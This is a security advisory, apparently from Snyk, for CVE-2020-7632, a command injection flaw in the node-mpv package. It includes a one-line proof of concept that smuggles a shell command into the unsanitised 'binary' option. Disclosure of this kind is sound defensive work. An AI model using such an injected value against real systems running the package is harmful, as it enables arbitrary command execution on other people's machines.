

Command Injection

Affecting node-mpv package, versions >=0.12.2

INTRODUCED: 4 APR 2020 CVE-2020-7632 CWE-74 FIRST ADDED BY SNYK Share

How to fix?

There is no fixed version for node-mpv .

Overview

node-mpv is a wrapper to comfortably use mpv player with node.js.

Affected versions of this package are vulnerable to Command Injection. The argument "options" can be controlled by users without any sanitization.

PoC

```
var Root = require("node-mpv"); var options ={"binary": "\" ${touch JHU} \"" } var root = new Root(options);
```

- References
- Vulnerable Code



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Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	High
Confidentiality	HIGH

See more

> NVD 9.8 CRITICAL

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Test your applications

Snyk ID	SNYK-JS-NODEMPV-564426
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Disclosed	4 Apr 2020
Credit	JHU System Security Lab

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